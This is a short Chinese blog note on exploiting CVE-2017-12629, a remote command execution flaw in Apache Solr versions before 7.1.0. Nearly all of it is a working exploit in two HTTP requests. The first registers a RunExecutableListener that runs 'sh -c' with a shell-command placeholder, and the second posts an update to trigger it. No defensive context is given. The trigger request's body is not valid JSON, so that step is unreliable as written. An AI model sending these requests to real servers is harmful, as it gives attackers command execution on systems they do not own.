【笔记】CVE-2017-12629漏洞利用

发表于 更新于 阅读次数：

前言

Java的Solr框架远程命令执行漏洞利用
Solr默认端口号为8983

漏洞利用前提

  • Apache Solr < 7.1.0

exp

request
1
2
3
4
POST http://127.0.0.1:80/solr/admin/config
Content-Type: application/json

{"add-listener":{"event":"postCommit","name":"x","class":"solr.RunExecutableListener","exe":"sh","dir":"/bin/","args":["-c","<shell>"]}

触发

request
1
2
3
4
POST http://127.0.0.1:80/solr/admin/update
Content-Type: application/json

[{"x","x"}]

完成